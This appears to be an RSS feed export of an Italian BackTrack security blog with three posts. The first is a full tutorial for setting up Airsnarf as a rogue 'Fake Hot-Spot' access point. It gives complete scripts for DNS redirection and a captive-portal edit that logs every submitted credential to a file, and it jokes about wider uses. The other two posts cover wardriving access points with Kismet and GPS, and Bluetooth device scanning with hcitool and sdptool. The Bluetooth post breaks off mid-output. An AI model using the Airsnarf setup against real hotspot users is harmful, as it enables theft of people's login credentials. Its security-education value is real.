<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>«back&#124;track~blog &#187; /Radio-Network-Analisys</title>
	<atom:link href="http://carlitobrigante.wordpress.com/category/radio-network-analisys/feed/" rel="self" type="application/rss+xml" />
	<link>http://carlitobrigante.wordpress.com</link>
	<description>Luogo di studio della security-distro  BackTrack GNU/Linux</description>
	<lastBuildDate>Thu, 18 Jun 2009 17:35:11 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='carlitobrigante.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/151ab79cdd13eafaa57ed2702573287c?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>«back&#124;track~blog &#187; /Radio-Network-Analisys</title>
		<link>http://carlitobrigante.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://carlitobrigante.wordpress.com/osd.xml" title="«back|track~blog" />
		<item>
		<title>Configure AirSnarf on BackTrack</title>
		<link>http://carlitobrigante.wordpress.com/2008/03/26/configure-airsnarf-on-backtrack/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/03/26/configure-airsnarf-on-backtrack/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 20:38:05 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/?p=377</guid>
		<description><![CDATA[
***
Ecco a voi un altro gioiellino di Defcon-69 , si tratta di un tutorial che spiega come configurare AirSnarf per la nostra BackTrack-3beta.
ancora una volta , grazie Def.
&#160;
In questo breve tutorial spiegherò come configurare Airsnarf
Cos’è Airsnarf ?
Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.
E’ quindi, una banale wireless utility  che [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=377&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center"><img src="http://carlitobrigante.files.wordpress.com/2008/03/snarf.png" alt="snarf.png" /></p>
<p align="center">***</p>
<p align="center">Ecco a voi un altro gioiellino di Defcon-69 , si tratta di un tutorial che spiega come configurare AirSnarf per la nostra BackTrack-3beta.</p>
<p align="center">ancora una volta , grazie Def.</p>
<p align="center">&nbsp;</p>
<p>In questo breve tutorial spiegherò come configurare Airsnarf</p>
<p>Cos’è Airsnarf ?</p>
<p>Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.<br />
E’ quindi, una banale wireless utility  che permette all’Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l’uso  che se ne può fare è ben più ampio se usiamo un po’ di immaginazione!  )</p>
<p>Let’s work…</p>
<p>1.Prima di tutto creiamo due cartelle, chiamate “html” e “dhcp”, nei rispettivi percorsi:</p>
<p>“html”  &#8212;-&gt;  /var/www/<br />
“dhcp” &#8212;-&gt; /var/state/</p>
<p>Successivamente creiamo con un editor di testo, il file “dhcpd.leases” e lo copiamo in /var/state/dhcp/</p>
<p>2.Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.httpd” e vi copiamo all’interno il seguente source code:</p>
<p>#!/bin/sh<br />
# Start/stop/restart the Apache web server.</p>
<p>conffile=/etc/httpd/httpd.conf</p>
<p>function start() {<br />
if grep -q &#8220;^Include /etc/apache/mod_ssl.conf&#8221; $conffile ; then<br />
/usr/sbin/apachectl startssl<br />
else<br />
/usr/sbin/apachectl start<br />
fi<br />
}</p>
<p>function stop() {<br />
/usr/sbin/apachectl stop<br />
}</p>
<p>function restart() {<br />
/usr/sbin/apachectl restart<br />
}</p>
<p># See how we were called.<br />
case &#8220;$1&#8243; in<br />
start)<br />
start<br />
;;<br />
stop)<br />
stop<br />
;;<br />
restart)<br />
restart<br />
;;<br />
*)<br />
echo &#8220;usage $0 start|stop|restart&#8221; ;;<br />
esac</p>
<p>Fatto questo, salvatelo e chiudete il file.</p>
<p>3.Ora riapriamo l’editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.dhcpd” e vi copiamo all’interno il seguente source code:</p>
<p>#!/bin/sh<br />
# Start/stop/restart the Samba SMB file/print server.</p>
<p>dhcpd_start() {<br />
if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then<br />
echo &#8220;Starting Dhcp&#8230;&#8221;<br />
/usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0<br />
fi<br />
}</p>
<p>dhcpd_stop() {<br />
killall dhcpd<br />
}</p>
<p>dhcpd_restart() {<br />
dhcpd_stop<br />
sleep 2<br />
dhcpd_start<br />
}</p>
<p>case &#8220;$1&#8243; in<br />
&#8217;start&#8217;)<br />
dhcpd_start<br />
;;<br />
&#8217;stop&#8217;)<br />
dhcpd_stop<br />
;;<br />
&#8216;restart&#8217;)<br />
dhcpd_restart<br />
;;<br />
*)<br />
# Default is &#8220;start&#8221;, for backwards compatibility with previous<br />
# Slackware versions. This may change to a &#8216;usage&#8217; error someday.<br />
dhcpd_start<br />
esac<br />
Fatto questo, salvatelo e chiudete il file.</p>
<p>4.Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/</p>
<p>5.Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo:</p>
<p>chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd</p>
<p>6.Adesso andiamo in /pentest/wireless/airsnarf-0.2  e apriamo Airsnarf con un editor di testo.<br />
Sostituiamo il contenuto del file con il seguente source code:</p>
<p>#!/bin/bash<br />
# airsnarf.sh<br />
# A rogue AP setup utility.</p>
<p>echo &#8220;Airsnarf &#8211; A rogue AP setup utility.&#8221;<br />
echo &#8220;0.2&#8243;<br />
echo &#8220;The Shmoo Group&#8221;<br />
# here are some variables you may want to edit<br />
WWW_ROOT=&#8221;/var/www/html&#8221;<br />
CGI_ROOT=&#8221;/var/www/cgi-bin&#8221;<br />
LOCAL_CFG=&#8221;./cfg&#8221;</p>
<p># specify another config dir with a command line arg if you want<br />
if [ $1 ]<br />
then<br />
LOCAL_CFG=&#8221;$1&#8243;<br />
fi</p>
<p>source $LOCAL_CFG/airsnarf.cfg</p>
<p># create the dhcpd.conf<br />
echo -n &#8220;Creating dhcpd.conf&#8230;&#8221;<br />
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src &gt; /etc/dhcpd.conf<br />
echo &#8220;Done.&#8221;</p>
<p># copy over the www stuff<br />
echo -n &#8220;Building the captive portal&#8230;&#8221;<br />
cp $LOCAL_CFG/html/* $WWW_ROOT<br />
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT<br />
chmod +x $CGI_ROOT/*<br />
echo &#8220;Done.&#8221;</p>
<p># set our wireless parameters<br />
echo -n &#8220;Setting the wireless parameters&#8230;&#8221;<br />
ifconfig $ROGUE_INTERFACE down<br />
wlanconfig $ROGUE_INTERFACE destroy<br />
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap<br />
ifconfig $ROGUE_INTERFACE up<br />
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master<br />
echo &#8220;Done.&#8221;</p>
<p># set our ip and default route<br />
echo -n &#8220;Setting the ip address and default route&#8230;&#8221;<br />
ifconfig $ROGUE_INTERFACE $ROGUE_GW<br />
route add -net 0.0.0.0 gw $ROGUE_GW<br />
echo &#8220;Done.&#8221;</p>
<p># restart some services<br />
/usr/sbin/dhcpd -cf /etc/dhcpd.conf<br />
/usr/sbin/apachectl restart<br />
#/etc/init.d/sendmail restart</p>
<p># set up the firewall to redirect<br />
echo -n &#8220;Setting up firewall to redirect DNS&#8230;&#8221;<br />
echo 1 &gt; /proc/sys/net/ipv4/ip_forward<br />
modprobe iptable_nat<br />
iptables -F -t nat<br />
iptables -t nat -A PREROUTING -p udp &#8211;dport 53 -j DNAT \<br />
&#8211;to $ROGUE_GW<br />
# dammit, I swear this used to work with just an OUTPUT rule&#8230;<br />
iptables -t nat -A OUTPUT -p udp &#8211;dport 53 -j DNAT \<br />
&#8211;to $ROGUE_GW<br />
echo &#8220;Done.&#8221;</p>
<p># start the local dns resolver<br />
echo &#8220;Starting local DNS resolver&#8230;&#8221;<br />
chmod +x ./bin/airsnarf_dns.pl<br />
./bin/airsnarf_dns.pl</p>
<p>Fatto questo, salvatelo e chiudete il file.</p>
<p>7.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg  e apriamo Airsnarf.cfg con un editor di testo.<br />
Sostituiamo il contenuto del file con il seguente source code:</p>
<p>ROGUE_SSID=&#8221;Fake Hot-Spot&#8221;<br />
ROGUE_NET=&#8221;192.168.1.&#8221;<br />
ROGUE_GW=&#8221;192.168.1.254&#8243;<br />
ROGUE_INTERFACE=&#8221;ath0&#8243;<br />
#export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE</p>
<p>8.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin  e apriamo Airsnarf.cgi con un editor di testo.<br />
Cerchiamo la serie di righe di codice che iniziano con &#8220;$mailprog = &#8216;/usr/sbin/sendmail&#8217;;&#8221; e finiscono con &#8220;close(MAIL);&#8221; e le commentiamo col carattere # oppure le cancelliamo.<br />
E vi copiamo il seguente source code:</p>
<p>open (MYFILE, &#8216;&gt;&gt;/tmp/airsnarf_pwds.txt&#8217;);<br />
foreach $key (keys(%FORM)) {<br />
print MYFILE &#8220;$key = $FORM{$key}\n&#8221;;<br />
print MYFILE &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\n&#8221;;<br />
}<br />
;</p>
<p>Fatto questo, salvatelo e chiudete il file.</p>
<p>9.Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf.</p>
<p>N.B  Una volta avviato airsnarf, aspettate che compaia la scritta “Waitintg for connections…” e terminate airsnarf. Andate in /var/www/html, copiatevi tutti i file contenutivi e incollate tutti i file qui: /var/www/htdocs  .</p>
<p style="margin-left:0.5in;margin-bottom:0;"><b>/var/www/htdocs  .</b></p>
<p style="margin-left:0.5in;margin-bottom:0;" align="center"><b>See  u Dudes!</b></p>
<p style="margin-left:0.5in;margin-bottom:0;" align="center"><i><u><b>Defcon-69</b></u></i></p>
<p style="margin-left:0.5in;margin-bottom:0;">Defcon-69 <a href="http://www.wifi-ita.com/index.php?option=com_frontpage&amp;Itemid=1">-WiFi-ITA.com-</a></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/377/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/377/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/377/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=377&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/03/26/configure-airsnarf-on-backtrack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">~br1g4nt3~</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/03/snarf.png" medium="image">
			<media:title type="html">snarf.png</media:title>
		</media:content>
	</item>
		<item>
		<title>BackTrack &#8211; GPS &#8211; Google Earth: City Mapping</title>
		<link>http://carlitobrigante.wordpress.com/2008/03/07/backtrack-gps-google-earth-city-mapping-2/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/03/07/backtrack-gps-google-earth-city-mapping-2/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 23:59:24 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Configure]]></category>
		<category><![CDATA[/General]]></category>
		<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2008/03/07/backtrack-gps-google-earth-city-mapping-2/</guid>
		<description><![CDATA[È con immenso piacere che mi accingo a scrivere la mia prima guida per il «back&#124;track~blog , nella speranza di poter dare un contributo alla crescita di tutta la community italiana che , speriamo al più presto , possa farsi riconoscere anche a livelli maggiori. Perdonatemi se sarò impreciso, ma come già detto è la [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=331&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p style="margin-bottom:0;"><span>È con immenso piacere che mi accingo a scrivere la mia prima guida per il <strong>«back|track~blog</strong> , nella speranza</span><span> di poter dare un contributo alla crescita di tutta la community italiana che , speriamo al più presto , possa farsi riconoscere anche a livelli maggiori. Perdonatemi se sarò impreciso, ma come già detto è la mia prima guida.</span></p>
<div style="text-align:center;"><img src="http://carlitobrigante.files.wordpress.com/2008/03/mm.png?w=320&#038;h=235" alt="mm.png" width="320" height="235" /></div>
<p style="margin-bottom:0;">
<p style="margin-bottom:0;">Molte volte si dà poco peso a ciò che una persona potrebbe fare , tanti , anche se fortunatamente sono sempre meno , usufruiscono ancora di chiavi wep per la cifratura della propria rete wireless.</p>
<p style="margin-bottom:0;">Noi oggi dimostreremo come sia possibile utilizzando gli strumenti elencati di seguito , avere a disposizione una vera e propria mappa di Access Point di una determinata zona , in modo tale da poter indurre quante più persone possibile ad accingersi a cifrare la propria rete wireless con chiavi di tipo <strong>WPA</strong>.</p>
<p style="margin-bottom:0;" lang="it-IT">L’obiettivo è quello di riuscire a mappare gli access point di un area tramite l’ausilio di un ricevitore <strong>GPS</strong> e alcuni tools che possiamo trovare già installati sulla nostra <strong>Backtrack</strong> oppure nei <a href="http://repository.slacky.eu/"><strong><em>repository</em></strong></a>. Questa guida fa riferimento ad un dispositivo<span style="text-decoration:underline;"> <strong>GPS</strong> interfacciato con il pc tramite <strong>Bluetooth</strong></span>.</p>
<p style="margin-bottom:0;" lang="it-IT" align="center"><span style="text-decoration:underline;">[Requisiti]</span></p>
<p style="margin-bottom:0;" lang="it-IT"><strong>-Ricevitore GPS</strong></p>
<p style="margin-bottom:0;"><strong>-Kismet </strong></p>
<p style="margin-bottom:0;"><strong>-Gpsmap</strong></p>
<p style="margin-bottom:0;"><strong>-Gpsd</strong></p>
<p style="margin-bottom:0;"><strong>-Gpsdrive</strong></p>
<p style="margin-bottom:0;"><strong>-Google Earth (opzionale)</strong></p>
<p style="margin-bottom:0;" lang="it-IT">
<p style="margin-bottom:0;" lang="it-IT" align="center">[Processo]</p>
<p style="margin-bottom:0;" lang="it-IT">Come prima cosa sinceriamoci del corretto funzionamento della nostra interfaccia Bluetooth installata sul pc (dongle usb o minipci integrata) eseguendo il seguente comando:</p>
<p style="margin-bottom:0;" lang="it-IT"><strong>#hciconfig</strong></p>
<p style="margin-bottom:0;"><span>Ci troveremo davanti ad un messaggio dove viene indicato il nome della nostra interfaccia (hci0 nella maggior parte dei casi), proseguiamo quindi con l’attivazione della stessa:</span></p>
<p style="margin-bottom:0;" lang="it-IT"><strong>#hciconfig hci0 up</strong></p>
<p style="margin-bottom:0;" lang="it-IT">Bene adesso siamo pronti ad effettuare una scansione dei dispositivi, accendiamo il nostro dispositivo GPS ed eseguiamo il comando:</p>
<p style="margin-bottom:0;"><strong><span>#hcitool scan</span></strong></p>
<p style="margin-bottom:0;"><span>Dopo pochi secondi otterremo il mac (esempio: </span><span style="font-size:x-small;"><span>00:33:54:40:53:2d)</span></span><span> della nostra antenna GPS ed il suo nome. Adesso siamo pronti ad usare il demone RFCOMM per accoppiare il nostro mac:</span></p>
<p style="margin-bottom:0;"><strong><span>#rfcomm bind /dev/rfcomm0 </span><span style="font-size:x-small;"><span>00:33:54:40:53:2d</span></span></strong></p>
<p style="margin-bottom:0;">Fatto questo avviamo il nostro ricevitore di segnali GPS con il seguente comando:</p>
<p><strong>#gpsd -b /dev/rfcomm0</strong></p>
<p>Bene!! Adesso siamo pronti ad usare Kismet con il nostro dispositivo GPS:</p>
<p><strong>#kismet</strong></p>
<p style="margin-bottom:0;">Come potete notare in fondo alla pagina del <strong>kismet</strong> prima del <strong>log</strong> abbiamo le nostre coordinate <strong>GPS</strong> , fatto ciò il sistema scriverà un file <strong>.gps</strong> contenente tutti i dati relativi alla posizione in quel momento.</p>
<p>Bene, adesso siamo pronti per poter usare <strong>GPSDRIVE</strong> , questo è un software basato su mappe che ci permette di ottenere la nostra posizione su mappa tramite il segnale GPS. Per poterlo usare con <strong>Kismet</strong> dovremo avviare <strong>Mysql </strong>tramite il seguente comando:</p>
<p><strong>#mysql_install_db</strong></p>
<p><em>A questo punto possiamo avviare il demone:</em></p>
<p><strong>#/bin/chmod +x /etc/rc.d/rc.mysqld</strong></p>
<p><strong># /etc/rc.d/rc.mysqld start</strong></p>
<p><em>E avviare il client <span style="text-decoration:underline;">mysql</span> come root:</em></p>
<p><strong># mysql -u root -p</strong></p>
<p>Ok…   &#8230;adesso se tutto è andato a buon fine , possiamo avviare <strong>kismet</strong> e poi <strong>gpsdrive</strong>:</p>
<p><strong>#kismet</strong></p>
<p><strong>#gpsdrive</strong></p>
<p>Controlliamo il log di gpsdrive e sinceriamoci che il database mysql sia stato avviato correttamente. Gpsdrive si presenterà con un’interfaccia grafica molto intuitiva, controlliamo che il segnale gps sia stato ottenuto correttamente e procediamo con il download della mappa (almeno la prima volta avendo attiva una connessione ad internet). Ottenuta la mappa d’ora in poi potremo utilizzare gpsdrive anche offline, con il solo ausilio del segnale gps che segnerà la nostra posizione sulla mappa precedentemente scaricata.</p>
<p><em>Adesso arriva la vera e propria chicca!!!</em></p>
<p style="margin-bottom:0;"><span style="text-decoration:underline;"> Ovvero: </span> il trasferimento delle nostre tracce <strong>gps</strong> relative agli <strong>ACCESS POINTS</strong> su <strong>Google Earth</strong>.</p>
<p style="margin-bottom:0;"><span style="text-decoration:underline;">Procediamo come segue:</span></p>
<ul>
<li>Installiamo l’ultima versione di <strong>Google Earth</strong>.</li>
</ul>
<p style="margin-bottom:0;">Subito dopo aver scaricato ed installato Google Earth.</p>
<ul>
<li>Scarichiamo lo script che si chiama &#8220;<strong>GPStoGoogleEarth</strong>&#8221; , (<em>concesso gentilmente da  http://svn.pythonfr.org/</em>) , da quest&#8217; <a href="http://svn.pythonfr.org/public/pythonfr/utils/misc/gpsdriveToGoogleEarth.py"><span style="text-decoration:underline;"><em><strong>indirizzo.</strong></em></span></a> Questo script ci permetterà di “listare” in un file<strong> *.kml</strong> , compatibile con Google earth , le tracce <strong>gps</strong> ottenute con <strong>gpsdrive</strong>.</li>
<li>Posizioniamolo all’interno della directory /usr/share/gpsdrive/</li>
<li> Eseguiamo il precedente file da <strong>shell</strong>:</li>
</ul>
<p><strong>#cd /usr/share/gpsdrive</strong></p>
<p><strong>#python gpsdriveToGoogleEarth.py</strong></p>
<ul>
<li>lanciamo Google Earth:</li>
</ul>
<p><strong>#googleearth</strong></p>
<p><strong>FILE&gt;&gt;OPEN&gt;&gt;&gt; </strong></p>
<p>spostiamoci nella directory:</p>
<p><strong> /usr/share/gpsdrive/ </strong></p>
<p>e da quì apriamo il file<strong> ap.kml</strong></p>
<p>In questo modo otterremo un immagine con mappati uno ad uno tutti gli Access Point della zona prima scansionata con il gps&#8230;  <em><span style="text-decoration:underline;"> &#8230;questa sotto è il risultato dela mia scansione.<br />
</span></em></p>
<p>Potete quindi capire se una persona si ostina ancora oggi a tenersi una rete poco protetta in quali rischi si possa cadere.</p>
<p><em>Questo è tutto, spero di essere stato più chiaro possibile. Per critiche , errori e dubbi mi trovate su:</em></p>
<div><span style="text-decoration:underline;"><strong> IRC</strong>, server<strong> Azzurra.net,</strong> canale <strong>#backtrack-it</strong> .</span></div>
<div>***</div>
<div><a title="marvel86.png" href="http://carlitobrigante.files.wordpress.com/2008/03/marvel86.png"><img src="http://carlitobrigante.files.wordpress.com/2008/03/marvel86.png?w=461&#038;h=248" alt="marvel86.png" width="461" height="248" /></a></div>
<div>***</div>
<div><em><span style="text-decoration:underline;"><strong>by   Marvel86 </strong></span></em></div>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/331/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/331/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/331/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/331/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/331/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/331/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/331/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/331/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/331/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/331/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/331/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/331/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=331&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/03/07/backtrack-gps-google-earth-city-mapping-2/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">~br1g4nt3~</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/03/mm.png" medium="image">
			<media:title type="html">mm.png</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/03/marvel86.png" medium="image">
			<media:title type="html">marvel86.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Bluetooth Sniff with Bluebugger &amp; Bluesnarfer</title>
		<link>http://carlitobrigante.wordpress.com/2008/02/24/bluetooth-sniffer-with-bluebugger-bluesnarfer/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/02/24/bluetooth-sniffer-with-bluebugger-bluesnarfer/#comments</comments>
		<pubDate>Sun, 24 Feb 2008 16:04:56 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/?p=295</guid>
		<description><![CDATA[
Ciao a tutti,
eccoci arrivati a descrivere un nuovo campo di lavoro per noi del «back&#124;track~blog , stò parlando come da titolo del Bluetooth sniffer.
I tool che useremo sono  il Bluebugger ed il Bluesnarfer.
Il Bluebugger è un prodotto della Codito.de , ossia il sito di Martin J. Muench developper di BackTrack.
Prima di comunciare è doveroso [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=295&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center"><img src="http://carlitobrigante.files.wordpress.com/2008/02/super-bluetooth-hack.gif?w=155&#038;h=155" alt="super-bluetooth-hack.gif" width="155" height="155" /></p>
<p>Ciao a tutti,</p>
<p>eccoci arrivati a descrivere un nuovo campo di lavoro per noi del «back|track~blog , stò parlando come da titolo del Bluetooth sniffer.</p>
<p>I tool che useremo sono  il Bluebugger ed il Bluesnarfer.</p>
<p>Il Bluebugger è un prodotto della <a href="http://www.codito.de/"><strong>Codito.de</strong></a> , ossia il sito di <a href="http://www.remote-exploit.org/about.html"><em><strong>Martin J. Muench</strong></em></a> developper di <strong>BackTrack</strong>.</p>
<p>Prima di comunciare è doveroso dirvi che ovviamente per provare/testare questo tutorial avete bisogno di un <span style="text-decoration:underline;">Bluetooth device regolarmente riconosciuto da BackTrack</span> , per essere sicuri  potete vedere su <a href="http://www.google.it/search?hl=it&amp;q=bluetooth+linux&amp;meta=&amp;btnG=Cerca+con+Google"><strong>Google</strong></a> cosa è riconosciuto o meno dai sistemi basati su <strong>GNU/Linux</strong> in generale , oppure lasciate qualche commento e vediamo cosa riusciamo a fare , oppure ancora entrate in <a href="http://carlitobrigante.wordpress.com/2008/01/04/la-chat-di-backtrackblog/"><strong>canale</strong></a> e chiedete.</p>
<p>Ma iniziamo il nostro lavoro&#8230;..</p>
<p>Appena entriamo in<strong> BT</strong> , inseriamo la nostra chiavetta <strong>usb-bluetooth</strong> , e vediamo subito se il dispositivo è riconosciuto dal sistema dando da <strong>konsole</strong> il comando:</p>
<p><strong>hciconfig</strong></p>
<p>vedremo subito se il dispositio è riconosciuto , dopodiché per attivarlo basta dare il comando:</p>
<p><strong>hciconfig hci0 up</strong></p>
<p>Questo perché il mio dispositivo è visto da BT come <strong>hci0</strong> , (hci-zero) , ma finora non ho sentito di dispositivi bluetooth indicati da <strong>BT</strong> con sigle diverse.</p>
<p>Per essere sicuri che il vostro dispositivo stia lavorando date da konsole il comando:</p>
<p><strong>hciconfig -a</strong></p>
<p>Dovrebbe restituirvi tutta la configurazione del dispositivo.</p>
<p>Ora , in BT ci sono una serie di strumenti per l&#8217; utilizzo in vario modo di connessioni bluetooth chiamati <strong>Bluez</strong> , e noi iniziamo con il <strong>Hcitool</strong> , e lo facciamo tramite un piccolo scanning , dando da konsole il comando:</p>
<p><strong>hcitool scan hci0</strong></p>
<p>Questo il risultato che a me restituisce BT dopo aver messo in connettività bluetooth il mio telefono cellulare:</p>
<p><span style="color:#ff0000;">[root@bt ~]$ </span>hcitool scan hci0<br />
<span style="color:#ff0000;">Scanning &#8230;<br />
00:15:B9:57:80:C0       HaCkLaB-PH</span></p>
<p>Se non vi vedete arrivare nessun risultato provate a dare il comando <strong>BTscanner</strong> , oppure ancora a lanciare il <strong>BTscanner</strong> da <strong>backtrck-&gt;RadioNetworkAnalisys-&gt;Bluetooth-&gt;&#8230; </strong></p>
<p>Oppure ancora , suate sicuri dell&#8217; attività del cellulare.</p>
<p>Questo è il risultato dato dal mio cellulare , ma in caso di un attacco , o meglio di uno sniffing sarebbe stata la stessa cosa , il sistema mi avrebbe restituito tutti i <strong>MacAddress</strong> ,(<strong>BD</strong>) , che avevano il bluetooth attivato , e vi assicuro che provando in una casa isolata non c&#8217;é scampo , ma se vi mettete in un aeroporto in una stazione o in un luogo del genere potete immaginare voi lo sniffing che un &#8220;malintenzionato&#8221; potrebbe fare.</p>
<p>Ecco infatti appena utilizziamo un altro tool , l&#8217; <strong>sdptool</strong> , cosa riusciamo a vedere nel dispositivo:</p>
<p><span style="color:#ff0000;">brigante ~HaCkLaB.WiFu #<span style="color:#000000;"> sdptool browse 00:15:B9:57:80:C0</span><br />
Browsing 00:15:B9:57:80:C0 &#8230;<br />
Service Name: QC Voice Gateway<br />
Service RecHandle: 0&#215;10000<br />
Service Class ID List:<br />
&#8220;Headset Audio Gateway&#8221; (0&#215;1112)<br />
&#8220;Generic Audio&#8221; (0&#215;1203)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 3<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;Headset&#8221; (0&#215;1108)<br />
Version: 0&#215;0100</span></p>
<p><span style="color:#ff0000;">Service Name: QC Voice Gateway<br />
Service RecHandle: 0&#215;10001<br />
Service Class ID List:<br />
